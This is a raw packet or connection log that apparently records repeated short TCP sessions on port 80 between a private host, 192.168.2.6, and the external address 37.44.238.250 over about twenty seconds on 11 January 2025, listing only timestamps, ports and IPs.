Jan 11, 2025 06:43:52.478554964 CET	80	57075	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:52.753743887 CET	80	57075	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:52.801408052 CET	57075	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:52.882991076 CET	80	57075	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:52.926388025 CET	57075	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:53.005059004 CET	57076	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:53.009941101 CET	80	57076	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:53.010018110 CET	57076	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:53.010160923 CET	57076	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:53.014929056 CET	80	57076	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:53.364036083 CET	57076	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:53.368933916 CET	80	57076	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:53.368959904 CET	80	57076	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:53.368972063 CET	80	57076	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:53.639132977 CET	80	57076	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:53.692037106 CET	57076	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:53.766424894 CET	80	57076	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:53.817022085 CET	57076	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:53.923269033 CET	57076	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:53.924343109 CET	57077	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:53.928204060 CET	80	57076	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:53.928258896 CET	57076	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:53.929126978 CET	80	57077	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:53.929189920 CET	57077	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:53.930180073 CET	57077	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:53.934947014 CET	80	57077	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:54.285871983 CET	57077	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:54.290807962 CET	80	57077	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:54.290822983 CET	80	57077	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:54.290832043 CET	80	57077	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:54.585397959 CET	80	57077	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:54.629497051 CET	57077	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:54.719871044 CET	80	57077	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:54.770127058 CET	57077	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:54.848788977 CET	57077	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:54.849603891 CET	57078	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:54.853816032 CET	80	57077	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:54.853876114 CET	57077	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:54.854438066 CET	80	57078	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:54.854518890 CET	57078	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:54.854634047 CET	57078	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:54.859457970 CET	80	57078	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:55.207762957 CET	57078	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:55.212635994 CET	80	57078	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:55.212654114 CET	80	57078	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:55.212665081 CET	80	57078	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:55.493876934 CET	80	57078	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:55.535783052 CET	57078	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:55.660264969 CET	80	57078	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:55.707647085 CET	57078	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:55.782030106 CET	57078	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:55.782756090 CET	57079	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:55.787139893 CET	80	57078	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:55.787540913 CET	80	57079	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:55.787614107 CET	57078	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:55.787637949 CET	57079	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:55.787805080 CET	57079	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:55.792579889 CET	80	57079	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:55.849627972 CET	57080	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:55.854568958 CET	80	57080	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:55.854780912 CET	57080	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:55.854919910 CET	57080	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:55.859730005 CET	80	57080	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:56.146410942 CET	57079	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:56.151294947 CET	80	57079	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:56.151308060 CET	80	57079	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:56.151321888 CET	80	57079	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:56.208977938 CET	57080	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:56.213826895 CET	80	57080	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:56.214004993 CET	80	57080	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:56.415776968 CET	80	57079	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:56.457861900 CET	57079	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:56.491699934 CET	80	57080	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:56.535797119 CET	57080	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:56.546447992 CET	80	57079	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:56.564956903 CET	57080	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:56.569997072 CET	80	57080	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:56.570070028 CET	57080	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:56.598252058 CET	57079	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:56.783412933 CET	57079	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:56.788434982 CET	80	57079	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:56.788521051 CET	57079	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:56.796013117 CET	57075	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:56.799362898 CET	57081	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:56.804240942 CET	80	57081	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:56.804325104 CET	57081	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:56.807445049 CET	57081	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:56.812259912 CET	80	57081	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:57.160871983 CET	57081	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:57.165996075 CET	80	57081	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:57.166012049 CET	80	57081	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:57.166024923 CET	80	57081	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:57.453675032 CET	80	57081	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:57.504502058 CET	57081	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:57.623456001 CET	80	57081	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:57.676387072 CET	57081	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:57.752384901 CET	57081	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:57.753165007 CET	57083	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:57.757428885 CET	80	57081	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:57.757499933 CET	57081	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:57.757966042 CET	80	57083	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:57.758049965 CET	57083	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:57.758203030 CET	57083	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:57.762947083 CET	80	57083	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:58.114073992 CET	57083	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:58.119033098 CET	80	57083	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:58.119050980 CET	80	57083	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:58.119064093 CET	80	57083	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:58.409961939 CET	80	57083	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:58.457649946 CET	57083	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:58.575423002 CET	80	57083	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:58.629513979 CET	57083	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:58.689657927 CET	57083	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:58.690367937 CET	57084	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:58.694746017 CET	80	57083	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:58.694806099 CET	57083	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:58.695146084 CET	80	57084	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:58.695215940 CET	57084	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:58.695322037 CET	57084	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:58.700099945 CET	80	57084	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:59.051956892 CET	57084	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:59.056879044 CET	80	57084	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:59.056894064 CET	80	57084	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:59.056904078 CET	80	57084	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:59.444792986 CET	80	57084	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:59.488887072 CET	57084	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:59.597199917 CET	80	57084	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:59.645143032 CET	57084	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:59.721071005 CET	57084	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:59.721883059 CET	57085	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:59.726105928 CET	80	57084	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:59.726172924 CET	57084	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:59.726684093 CET	80	57085	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:59.726803064 CET	57085	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:59.726896048 CET	57085	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:59.731736898 CET	80	57085	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:00.082865000 CET	57085	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:00.087790966 CET	80	57085	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:00.087805986 CET	80	57085	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:00.087816000 CET	80	57085	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:00.356128931 CET	80	57085	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:00.410934925 CET	57085	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:00.486640930 CET	80	57085	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:00.535778999 CET	57085	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:00.612917900 CET	57085	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:00.613584042 CET	57086	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:00.618027925 CET	80	57085	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:00.618128061 CET	57085	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:00.618375063 CET	80	57086	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:00.618448019 CET	57086	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:00.618572950 CET	57086	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:00.623409986 CET	80	57086	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:00.973392010 CET	57086	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:00.978409052 CET	80	57086	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:00.978423119 CET	80	57086	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:00.978430986 CET	80	57086	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:01.247380018 CET	80	57086	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:01.301436901 CET	57086	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:01.374439001 CET	80	57086	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:01.426511049 CET	57086	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:01.508953094 CET	57086	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:01.509679079 CET	57087	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:01.514070034 CET	80	57086	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:01.514154911 CET	57086	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:01.514547110 CET	80	57087	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:01.514621973 CET	57087	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:01.514717102 CET	57087	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:01.519488096 CET	80	57087	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:01.596139908 CET	57087	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:01.635056973 CET	57088	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:01.640718937 CET	80	57088	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:01.640790939 CET	57088	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:01.640928030 CET	57088	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:01.643553019 CET	80	57087	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:01.645719051 CET	80	57088	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:01.940187931 CET	57089	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:01.945178986 CET	80	57089	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:01.947633982 CET	57089	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:01.947981119 CET	57089	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:01.952869892 CET	80	57089	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:01.968486071 CET	80	57087	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:01.968630075 CET	57087	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:02.032799959 CET	57088	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:02.037786007 CET	80	57088	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:02.037952900 CET	80	57088	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:02.297188997 CET	80	57088	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:02.301491976 CET	57089	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:02.306392908 CET	80	57089	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:02.306404114 CET	80	57089	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:02.306446075 CET	80	57089	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:02.348273039 CET	57088	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:02.431929111 CET	80	57088	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:02.473268032 CET	57088	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:02.585850000 CET	80	57089	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:02.629530907 CET	57089	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:02.720432043 CET	80	57089	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:02.770154953 CET	57089	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:02.846395016 CET	57088	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:02.846479893 CET	57089	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:02.847264051 CET	57090	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:02.851457119 CET	80	57088	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:02.851521969 CET	57088	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:02.851793051 CET	80	57089	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:02.851844072 CET	57089	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:02.852030039 CET	80	57090	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:02.852102995 CET	57090	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:02.852229118 CET	57090	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:02.857036114 CET	80	57090	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:03.207761049 CET	57090	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:03.212759018 CET	80	57090	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:03.212774038 CET	80	57090	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:03.212783098 CET	80	57090	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:03.485198975 CET	80	57090	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:03.535794020 CET	57090	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:03.615292072 CET	80	57090	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:03.620296955 CET	57090	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:03.625539064 CET	80	57090	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:03.625606060 CET	57090	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:03.739195108 CET	57091	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:03.744056940 CET	80	57091	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:03.744138002 CET	57091	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:03.744276047 CET	57091	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:03.749228954 CET	80	57091	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:04.098382950 CET	57091	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:04.103441954 CET	80	57091	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:04.103457928 CET	80	57091	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:04.103470087 CET	80	57091	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:04.373613119 CET	80	57091	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:04.426404953 CET	57091	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:04.502549887 CET	80	57091	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:04.562519073 CET	57091	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:04.741457939 CET	57091	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:04.742305994 CET	57092	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:04.746867895 CET	80	57091	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:04.746937037 CET	57091	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:04.747246981 CET	80	57092	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:04.747330904 CET	57092	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:04.747457027 CET	57092	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:04.752357960 CET	80	57092	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:05.098413944 CET	57092	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:05.103411913 CET	80	57092	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:05.103635073 CET	80	57092	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:05.103648901 CET	80	57092	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:05.388629913 CET	80	57092	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:05.442054987 CET	57092	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:05.560369968 CET	80	57092	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:05.613897085 CET	57092	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:05.693502903 CET	57092	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:05.694327116 CET	57093	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:05.698785067 CET	80	57092	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:05.698837042 CET	57092	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:05.699120045 CET	80	57093	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:05.699179888 CET	57093	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:05.699287891 CET	57093	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:05.704098940 CET	80	57093	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:06.054738998 CET	57093	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:06.059709072 CET	80	57093	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:06.059725046 CET	80	57093	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:06.059734106 CET	80	57093	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:06.348607063 CET	80	57093	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:06.395435095 CET	57093	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:06.482558966 CET	80	57093	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:06.537558079 CET	57093	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:06.614717007 CET	57094	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:06.614717007 CET	57093	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:06.619704008 CET	80	57094	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:06.619857073 CET	80	57093	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:06.619956017 CET	57094	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:06.619959116 CET	57093	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:06.620104074 CET	57094	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:06.624912977 CET	80	57094	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:06.973567963 CET	57094	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:06.978534937 CET	80	57094	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:06.978554010 CET	80	57094	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:06.978564978 CET	80	57094	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:07.269201994 CET	80	57094	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:07.332721949 CET	57094	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:07.446542978 CET	80	57094	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:07.464706898 CET	57095	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:07.469654083 CET	80	57095	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:07.473603010 CET	57095	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:07.474689960 CET	57095	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:07.479513884 CET	80	57095	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:07.504571915 CET	57094	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:07.577869892 CET	57096	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:07.582771063 CET	80	57096	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:07.582847118 CET	57096	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:07.583159924 CET	57096	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:07.587997913 CET	80	57096	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:07.832870007 CET	57095	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:07.837970018 CET	80	57095	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:07.838185072 CET	80	57095	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:07.942400932 CET	57096	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:07.947431087 CET	80	57096	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:07.947444916 CET	80	57096	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:07.947454929 CET	80	57096	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:08.110927105 CET	80	57095	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:08.160794973 CET	57095	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:08.233850002 CET	80	57096	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:08.244064093 CET	80	57095	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:08.285774946 CET	57096	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:08.285830021 CET	57095	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:08.521922112 CET	80	57096	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:08.567033052 CET	57096	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:08.643593073 CET	57095	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:08.643688917 CET	57096	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:08.643687010 CET	57094	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:08.644622087 CET	57097	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:08.648765087 CET	80	57095	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:08.648855925 CET	57095	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:08.648999929 CET	80	57096	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:08.649049044 CET	80	57094	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:08.649096966 CET	57096	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:08.649107933 CET	57094	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:08.649470091 CET	80	57097	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:08.649560928 CET	57097	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:08.649669886 CET	57097	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:08.654499054 CET	80	57097	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:09.004661083 CET	57097	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:09.009691000 CET	80	57097	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:09.009720087 CET	80	57097	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:09.009728909 CET	80	57097	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:09.307610989 CET	80	57097	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:09.349400043 CET	57097	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:09.473388910 CET	80	57097	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:09.520164967 CET	57097	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:09.600410938 CET	57098	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:09.605386972 CET	80	57098	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:09.605474949 CET	57098	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:09.605608940 CET	57098	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:09.610388041 CET	80	57098	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:09.959104061 CET	57098	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:09.964215040 CET	80	57098	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:09.964231968 CET	80	57098	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:09.964242935 CET	80	57098	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:10.234433889 CET	80	57098	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:10.285823107 CET	57098	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:10.407032967 CET	80	57098	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:10.457710981 CET	57098	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:10.534847021 CET	57097	80	192.168.2.6	37.44.238.250
